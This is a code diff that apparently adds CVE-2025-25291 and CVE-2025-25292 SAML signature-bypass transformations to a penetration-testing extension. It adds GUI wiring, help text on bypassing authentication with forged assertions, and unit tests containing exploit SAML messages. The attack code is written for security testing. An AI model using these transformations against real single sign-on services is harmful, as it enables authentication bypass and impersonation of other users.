diff --git a/src/main/java/application/SamlTabController.java b/src/main/java/application/SamlTabController.java index 4b63126..5d89986 100644 --- a/src/main/java/application/SamlTabController.java +++ b/src/main/java/application/SamlTabController.java @@ -15,9 +15,8 @@ import gui.SamlPanelInfo; import gui.SignatureHelpWindow; import gui.XSWHelpWindow; -import helpers.CVE_2025_23369; -import helpers.XMLHelpers; -import helpers.XSWHelpers; +import helpers.*; + import java.awt.Component; import java.awt.Desktop; import java.awt.Toolkit; @@ -489,6 +488,19 @@ public void applyCVE() { textArea.setContents(ByteArray.byteArray(samlMessage)); isEdited = true; setInfoMessageText("%s applied".formatted(cve)); + break; + case CVE_2025_25291.CVE: + samlMessage = CVE_2025_25291.apply(orgSAMLMessage); + textArea.setContents(ByteArray.byteArray(samlMessage)); + isEdited = true; + setInfoMessageText("%s applied".formatted(cve)); + break; + case CVE_2025_25292.CVE: + samlMessage = CVE_2025_25292.apply(orgSAMLMessage); + textArea.setContents(ByteArray.byteArray(samlMessage)); + isEdited = true; + setInfoMessageText("%s applied".formatted(cve)); + break; } } catch (Exception exc) { setInfoMessageText(exc.getMessage()); diff --git a/src/main/java/gui/CVEHelpWindow.java b/src/main/java/gui/CVEHelpWindow.java index a52b9ad..376a0cc 100644 --- a/src/main/java/gui/CVEHelpWindow.java +++ b/src/main/java/gui/CVEHelpWindow.java @@ -1,6 +1,9 @@ package gui; import helpers.CVE_2025_23369; +import helpers.CVE_2025_25291; +import helpers.CVE_2025_25292; + import java.awt.BorderLayout; import java.io.Serial; import javax.swing.JFrame; @@ -32,6 +35,42 @@ public CVEHelpWindow(String cve) { """; + } if (cve.equals(CVE_2025_25291.CVE)) { + description = """ +
    +
  1. + You need a SAMLResponse that is valid and accepted by the server. +
  2. +
  3. + Apply the CVE to the SAMLResponse without any prior changes. See whether the + SAMLResponse is still accepted. If so, this is an indicator that the server is + vulnerable. +
  4. +
  5. + After applying the CVE-2025-25291 transformation, the resulting SAML message contains two + assertions: the original and a fake assertion crafted inside the DOCTYPE declaration + at the beginning of the document. + You can try to change one of the fake assertions attribute to bypass authentication. +
  6. +
+ """; + } if (cve.equals(CVE_2025_25292.CVE)) { + description = """ +
    +
  1. + You need a SAMLResponse that is valid and accepted by the server. +
  2. +
  3. + Apply the CVE to the SAMLResponse without any prior changes. See whether the + SAMLResponse is still accepted. If so, this is an indicator that the server is + vulnerable. +
  4. +
  5. + After applying the CVE-2025-25292 transformation, + You can try to change one of the assertions attribute to bypass authentication. +
  6. +
+ """; } else { description = "no description"; } diff --git a/src/main/java/gui/SamlPanelAction.java b/src/main/java/gui/SamlPanelAction.java index e5e725b..edd8016 100644 --- a/src/main/java/gui/SamlPanelAction.java +++ b/src/main/java/gui/SamlPanelAction.java @@ -23,6 +23,9 @@ import javax.swing.JTextField; import javax.swing.SwingUtilities; import javax.swing.border.EmptyBorder; + +import helpers.CVE_2025_25291; +import helpers.CVE_2025_25292; import model.BurpCertificate; import net.miginfocom.swing.MigLayout; @@ -107,7 +110,9 @@ private void initialize() { xmlAttacksPanel.add(btnTestXSLT, "wrap"); cmbboxCVE.setModel(new DefaultComboBoxModel<>(new String[]{ - CVE_2025_23369.CVE + CVE_2025_23369.CVE, + CVE_2025_25291.CVE, + CVE_2025_25292.CVE })); btnCVEApply.addActionListener(event -> controller.applyCVE()); diff --git a/src/main/java/helpers/CVE_2025_25291.java b/src/main/java/helpers/CVE_2025_25291.java new file mode 100644 index 0000000..e71845e --- /dev/null +++ b/src/main/java/helpers/CVE_2025_25291.java @@ -0,0 +1,96 @@ +package helpers; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +import java.io.IOException; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.TimeZone; + +/// Links: +/// * https://github.com/CompassSecurity/SAMLRaider/issues/93 +/// * https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/ +/// * https://portswigger.net/research/saml-roulette-the-hacker-always-wins +/// * https://github.com/d0ge/proof-of-concept-labs/tree/main/round-trip +public class CVE_2025_25291 { + + public static final String CVE = "CVE-2025-25291"; + + private CVE_2025_25291() { + // static class + } + + public static String apply(String samlMessage) throws SAXException, IOException { + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + String now = getCurrentSAMLTime(); + String future = getFutureSAMLTime(); + // Replace all time attributes except AuthnInstant, as Ruby ignores it + updateAttribute(document, "IssueInstant", now); + updateAttribute(document, "NotBefore", now); + updateAttribute(document, "NotOnOrAfter", future); + updateAttribute(document, "SessionNotOnOrAfter", future); + + Element response = (Element) document.getElementsByTagNameNS("*", "Response").item(0); + Element assertion = (Element) document.getElementsByTagNameNS("*", "Assertion").item(0); + + if (response == null) { + throw new IllegalArgumentException("Missing element in SAML document."); + } + + if (assertion == null) { + throw new IllegalArgumentException("Missing element in SAML document."); + } + + Element root = document.getDocumentElement(); + String endTag = root.getPrefix() != null + ? "" + : ""; + + String xmlContent = xmlHelpers.getString(document,4).trim().replaceFirst("^<\\?xml[^>]*\\?>\\s*", ""); + String[] parts = xmlContent.split(endTag); + + String originalXML = samlMessage.replaceFirst("^<\\?xml[^>]*\\?>\\s*", ""); + String[] originalParts = originalXML.split(endTag); + + if (parts.length != 1 || originalParts.length != 1) { + throw new IllegalArgumentException("SAML document structure is invalid or contains multiple root elements."); + } + + return "\n" + + originalParts[0] + + "\n" + + endTag; + } + + private static void updateAttribute(Document document, String attrName, String value) { + NodeList allElements = document.getElementsByTagName("*"); + for (int i = 0; i < allElements.getLength(); i++) { + Element el = (Element) allElements.item(i); + if (el.hasAttribute(attrName)) { + el.setAttribute(attrName, value); + } + } + } + + private static String getCurrentSAMLTime() { + return getFormattedSAMLTime(new Date()); + } + + private static String getFutureSAMLTime() { + long now = System.currentTimeMillis(); + return getFormattedSAMLTime(new Date(now + 60 * 60 * 1000)); + } + + private static String getFormattedSAMLTime(Date date) { + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'"); + sdf.setTimeZone(TimeZone.getTimeZone("UTC")); + return sdf.format(date); + } +} diff --git a/src/main/java/helpers/CVE_2025_25292.java b/src/main/java/helpers/CVE_2025_25292.java new file mode 100644 index 0000000..9befd96 --- /dev/null +++ b/src/main/java/helpers/CVE_2025_25292.java @@ -0,0 +1,243 @@ +package helpers; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +import java.io.IOException; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.text.SimpleDateFormat; +import java.util.*; + +/// Links: +/// * https://github.com/CompassSecurity/SAMLRaider/issues/93 +/// * https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/ +/// * https://portswigger.net/research/saml-roulette-the-hacker-always-wins +/// * https://github.com/d0ge/proof-of-concept-labs/tree/main/round-trip +public class CVE_2025_25292 { + + public static final String CVE = "CVE-2025-25292"; + private static final String XMLNS = "http://www.w3.org/2000/xmlns/"; + + private CVE_2025_25292() { + // static class + } + + public static String apply(String samlMessage) throws SAXException, IOException { + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + Element response = (Element) document.getElementsByTagNameNS("*", "Response").item(0); + Element assertion = (Element) document.getElementsByTagNameNS("*", "Assertion").item(0); + if (response == null) { + throw new IllegalArgumentException("No element found."); + } + if (assertion == null) { + throw new IllegalArgumentException("No element found."); + } + + Element signatureForResponse = null; + Element signatureForAssertion = null; + + List signatureElements = new ArrayList<>(); + NodeList signatureNodes = document.getElementsByTagNameNS("*", "Signature"); + for (int i = 0; i < signatureNodes.getLength(); i++) { + signatureElements.add((Element) signatureNodes.item(i)); + } + + for (Element sig : signatureElements) { + NodeList referenceNodes = sig.getElementsByTagNameNS("*", "Reference"); + if (referenceNodes.getLength() == 0) continue; + + Element reference = (Element) referenceNodes.item(0); + String refURI = reference.getAttribute("URI").substring(1); + + Element target = null; + NodeList allElements = document.getElementsByTagName("*"); + for (int j = 0; j < allElements.getLength(); j++) { + Element el = (Element) allElements.item(j); + if (el.hasAttribute("ID") && el.getAttribute("ID").equals(refURI)) { + target = el; + break; + } + } + + if (target == null) continue; + + if ("Response".equals(target.getLocalName())) { + signatureForResponse = sig; + } else if ("Assertion".equals(target.getLocalName())) { + signatureForAssertion = sig; + } + + Node parent = sig.getParentNode(); + if (parent != null) { + parent.removeChild(sig); + } + } + + Element sourceSignature = (signatureForAssertion != null) ? signatureForAssertion : signatureForResponse; + if (sourceSignature == null) throw new IllegalArgumentException("No element found."); + + Element sigForAssertion = buildSignatureElement(document, sourceSignature); + + NodeList digestValues = sigForAssertion.getElementsByTagNameNS("*", "DigestValue"); + for (int i = 0; i < digestValues.getLength(); i++) { + digestValues.item(i).setTextContent(computeDigestFromSignature(sourceSignature)); + } + + Node firstChild = assertion.getFirstChild(); + while (firstChild != null && firstChild.getNodeType() != Node.ELEMENT_NODE) { + firstChild = firstChild.getNextSibling(); + } + + if (firstChild == null || !"Issuer".equals(firstChild.getLocalName())) { + throw new IllegalArgumentException("Expected as the first child of Assertion"); + } + + assertion.insertBefore(sigForAssertion, firstChild.getNextSibling()); + assertion.setAttributeNS(XMLNS, "xmlns:example", "http://example.com\u0080"); + + Element status = (Element) response.getElementsByTagNameNS("*", "Status").item(0); + if (status == null) { + throw new IllegalArgumentException("Missing element in SAML ."); + } + + String statusPrefix = status.getPrefix(); + String statusNamespace = status.getNamespaceURI(); + + String qualifiedName = (statusPrefix != null && !statusPrefix.isEmpty()) + ? statusPrefix + ":StatusDetail" + : "StatusDetail"; + + Element statusDetail = document.createElementNS(statusNamespace, qualifiedName); + status.appendChild(statusDetail); + + String namePrefix = sourceSignature.getPrefix(); + String signatureNamespace = sourceSignature.getNamespaceURI(); + + if (namePrefix != null && !namePrefix.isEmpty() && signatureNamespace != null) { + String xmlnsAttrName = "xmlns:" + namePrefix; + + if (!response.hasAttributeNS(XMLNS, namePrefix)) { + response.setAttributeNS( + XMLNS, + xmlnsAttrName, + signatureNamespace + ); + } + } + + Element newSig = document.createElement("Signature"); + NodeList children = sourceSignature.getChildNodes(); + for (int i = 0; i < children.getLength(); i++) { + Node imported = document.importNode(children.item(i), true); + newSig.appendChild(imported); + } + statusDetail.appendChild(newSig); + + if (signatureForAssertion == null) { + String referenceURI = null; + NodeList referenceList = sourceSignature.getElementsByTagNameNS("*", "Reference"); + Element referenceElement = (Element) referenceList.item(0); + if (referenceElement != null && referenceElement.hasAttribute("URI")) { + referenceURI = referenceElement.getAttribute("URI").substring(1); + } + assertion.setAttribute("ID", referenceURI); + response.setAttribute("ID", referenceURI + "ffff"); + } + + // Replace all time attributes except AuthnInstant, as Ruby ignores it + String now = getCurrentSAMLTime(); + String future = getFutureSAMLTime(); + updateAttribute(document, "IssueInstant", now); + updateAttribute(document, "NotBefore", now); + updateAttribute(document, "NotOnOrAfter", future); + updateAttribute(document, "SessionNotOnOrAfter", future); + + StringBuilder doctypePayload = new StringBuilder("]>"); + + String xmlString = xmlHelpers.getString(document); + int declEnd = xmlString.indexOf("?>"); + if (declEnd != -1) { + return xmlString.substring(0, declEnd + 2) + doctypePayload + xmlString.substring(declEnd + 2); + } + return "\n" + doctypePayload + xmlString; + } + + private static Element buildSignatureElement(Document doc, Element sourceSignature) { + String prefix = sourceSignature.getPrefix(); + String ns = sourceSignature.getNamespaceURI(); + String qualifiedName = (prefix != null && !prefix.isEmpty()) ? prefix + ":Signature" : "Signature"; + + Element newSig = doc.createElementNS(ns, qualifiedName); + NodeList children = sourceSignature.getChildNodes(); + for (int i = 0; i < children.getLength(); i++) { + Node imported = doc.importNode(children.item(i), true); + newSig.appendChild(imported); + } + return newSig; + } + + private static void updateAttribute(Document document, String attrName, String value) { + NodeList allElements = document.getElementsByTagName("*"); + for (int i = 0; i < allElements.getLength(); i++) { + Element el = (Element) allElements.item(i); + if (el.hasAttribute(attrName)) { + el.setAttribute(attrName, value); + } + } + } + + private static String getCurrentSAMLTime() { + return getFormattedSAMLTime(new Date()); + } + + private static String getFutureSAMLTime() { + long now = System.currentTimeMillis(); + return getFormattedSAMLTime(new Date(now + 24 * 60 * 60 * 1000)); + } + + private static String getFormattedSAMLTime(Date date) { + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'"); + sdf.setTimeZone(TimeZone.getTimeZone("UTC")); + return sdf.format(date); + } + + public static String computeDigestFromSignature(Element signatureElement) { + NodeList digestMethodNodes = signatureElement.getElementsByTagNameNS("*", "DigestMethod"); + if (digestMethodNodes.getLength() == 0) { + throw new IllegalArgumentException("No found in Signature element."); + } + + Element digestMethod = (Element) digestMethodNodes.item(0); + String algorithmUri = digestMethod.getAttribute("Algorithm"); + + String javaAlgorithm = mapXmlDigestAlgorithm(algorithmUri); + if (javaAlgorithm == null) { + throw new IllegalArgumentException("Unsupported digest algorithm: " + algorithmUri); + } + + try { + MessageDigest digest = MessageDigest.getInstance(javaAlgorithm); + byte[] hashBytes = digest.digest("".getBytes(java.nio.charset.StandardCharsets.UTF_8)); + return Base64.getEncoder().encodeToString(hashBytes); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException("Hash algorithm not available: " + javaAlgorithm, e); + } + } + + private static String mapXmlDigestAlgorithm(String uri) { + return switch (uri) { + case "http://www.w3.org/2000/09/xmldsig#sha1" -> "SHA-1"; + case "http://www.w3.org/2001/04/xmlenc#sha256" -> "SHA-256"; + case "http://www.w3.org/2001/04/xmldsig-more#sha384" -> "SHA-384"; + case "http://www.w3.org/2001/04/xmlenc#sha512" -> "SHA-512"; + default -> null; + }; + } +} diff --git a/src/test/java/helpers/CVE_2025_25291_Test.java b/src/test/java/helpers/CVE_2025_25291_Test.java new file mode 100644 index 0000000..1c85b73 --- /dev/null +++ b/src/test/java/helpers/CVE_2025_25291_Test.java @@ -0,0 +1,179 @@ +package helpers; + +import org.junit.jupiter.api.Test; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Collectors; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class CVE_2025_25291_Test { + + @Test + void testCVE_2025_25291() throws Exception { + String originalAssertion = "\n" + + " http://idp.example.com/metadata.php\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " http://idp.example.com/metadata.php\n" + + " \n" + + " \n" + + " X93f9X12WaBTTCIV9ieoGC5jCNQ=frpkh6UOyazC+9oFaT7ZfHK2oFVX71d0Dmx1AtNFSyAjjIi4eQFYU4K8Rgzmp4Io6Z8z7tftni5qMZMbrTE5S+ot0vaBH7BSrbYn/9lfeeZkPnq9waW1RCXDipliv1TJy6M5+ysjLjy4UmHOR2x82pg0m+9YnM4jS2/e5OCUvEk=\n" + + "MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==\n" + + " \n" + + " _ce3d2948b4cf20146dee0a0b3dd6f69b6cf86f62d7\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " http://sp.example.com/demo1/metadata.php\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " urn:oasis:names:tc:SAML:2.0:ac:classes:Password\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " test\n" + + " \n" + + " \n" + + " test@example.com\n" + + " \n" + + " \n" + + " users\n" + + " examplerole1\n" + + " \n" + + " \n" + + " \n" + + ""; + + String exploitAssertion = "\n" + + "\n" + + " http://idp.example.com/metadata.php\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " http://idp.example.com/metadata.php\n" + + " \n" + + " \n" + + " X93f9X12WaBTTCIV9ieoGC5jCNQ=frpkh6UOyazC+9oFaT7ZfHK2oFVX71d0Dmx1AtNFSyAjjIi4eQFYU4K8Rgzmp4Io6Z8z7tftni5qMZMbrTE5S+ot0vaBH7BSrbYn/9lfeeZkPnq9waW1RCXDipliv1TJy6M5+ysjLjy4UmHOR2x82pg0m+9YnM4jS2/e5OCUvEk=\n" + + "MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==\n" + + " \n" + + " _ce3d2948b4cf20146dee0a0b3dd6f69b6cf86f62d7\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " http://sp.example.com/demo1/metadata.php\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " urn:oasis:names:tc:SAML:2.0:ac:classes:Password\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " test\n" + + " \n" + + " \n" + + " test@example.com\n" + + " \n" + + " \n" + + " users\n" + + " examplerole1\n" + + " \n" + + " \n" + + " \n" + + "\n" + + ""; + + var exploit = CVE_2025_25291.apply(originalAssertion); + exploit = Arrays.stream(exploit.split("\n")) + .map(line -> line + .replaceAll("IssueInstant=\"[^\"]+\"", "IssueInstant=\"TIME\"") + .replaceAll("NotBefore=\"[^\"]+\"", "NotBefore=\"TIME\"") + .replaceAll("NotOnOrAfter=\"[^\"]+\"", "NotOnOrAfter=\"TIME\"") + .replaceAll("SessionNotOnOrAfter=\"[^\"]+\"", "SessionNotOnOrAfter=\"TIME\"") + ) + .collect(Collectors.joining("\n")); + assertEquals(exploitAssertion, exploit); + } +} diff --git a/src/test/java/helpers/CVE_2025_25292_Test.java b/src/test/java/helpers/CVE_2025_25292_Test.java new file mode 100644 index 0000000..b14c852 --- /dev/null +++ b/src/test/java/helpers/CVE_2025_25292_Test.java @@ -0,0 +1,114 @@ +package helpers; + +import org.junit.jupiter.api.Test; + +import java.util.Arrays; +import java.util.stream.Collectors; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class CVE_2025_25292_Test { + + @Test + void testCVE_2025_25292() throws Exception { + String originalAssertion = "\n" + + " http://idp.example.com/metadata.php\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " http://idp.example.com/metadata.php\n" + + " \n" + + " \n" + + " jD7cZy+vZBy2qJgf21D2ybTDCTE=LfSKTTLlNsRNi0c+XJUrUH1rrVcLFR/IZOeyTWU3rGe3a2c++dLyNMV00oClk9lcPk+/P6qOtpaZFkFDQTHAYP0yEroInIBx24g5jBxLib8SAFZaH5tQHw8LzCVSksPJpCVBXHC9wOvnD1ui4GfxFkjbuxtUcylBA63F1jAA1FI=\n" + + "MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==\n" + + " \n" + + " _ce3d2948b4cf20146dee0a0b3dd6f69b6cf86f62d7\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " http://sp.example.com/demo1/metadata.php\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " urn:oasis:names:tc:SAML:2.0:ac:classes:Password\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " test\n" + + " \n" + + " \n" + + " test@example.com\n" + + " \n" + + " \n" + + " users\n" + + " examplerole1\n" + + " \n" + + " \n" + + " \n" + + ""; + + String exploitAssertion = "]>\n" + + "\n" + + " http://idp.example.com/metadata.php\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " jD7cZy+vZBy2qJgf21D2ybTDCTE=LfSKTTLlNsRNi0c+XJUrUH1rrVcLFR/IZOeyTWU3rGe3a2c++dLyNMV00oClk9lcPk+/P6qOtpaZFkFDQTHAYP0yEroInIBx24g5jBxLib8SAFZaH5tQHw8LzCVSksPJpCVBXHC9wOvnD1ui4GfxFkjbuxtUcylBA63F1jAA1FI=\n" + + "MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==\n" + + " \n" + + " http://idp.example.com/metadata.php\n" + + " \n" + + " \n" + + " 2jmj7l5rSw0yVb/vlWAYkK/YBwk=LfSKTTLlNsRNi0c+XJUrUH1rrVcLFR/IZOeyTWU3rGe3a2c++dLyNMV00oClk9lcPk+/P6qOtpaZFkFDQTHAYP0yEroInIBx24g5jBxLib8SAFZaH5tQHw8LzCVSksPJpCVBXHC9wOvnD1ui4GfxFkjbuxtUcylBA63F1jAA1FI=\n" + + "MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==\n" + + " \n" + + " _ce3d2948b4cf20146dee0a0b3dd6f69b6cf86f62d7\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " http://sp.example.com/demo1/metadata.php\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " urn:oasis:names:tc:SAML:2.0:ac:classes:Password\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " test\n" + + " \n" + + " \n" + + " test@example.com\n" + + " \n" + + " \n" + + " users\n" + + " examplerole1\n" + + " \n" + + " \n" + + " \n" + + ""; + + var exploit = CVE_2025_25292.apply(originalAssertion); + exploit = Arrays.stream(exploit.split("\n")) + .map(line -> line + .replaceAll("IssueInstant=\"[^\"]+\"", "IssueInstant=\"TIME\"") + .replaceAll("NotBefore=\"[^\"]+\"", "NotBefore=\"TIME\"") + .replaceAll("NotOnOrAfter=\"[^\"]+\"", "NotOnOrAfter=\"TIME\"") + .replaceAll("SessionNotOnOrAfter=\"[^\"]+\"", "SessionNotOnOrAfter=\"TIME\"") + ) + .collect(Collectors.joining("\n")); + assertEquals(exploitAssertion, exploit); + } +}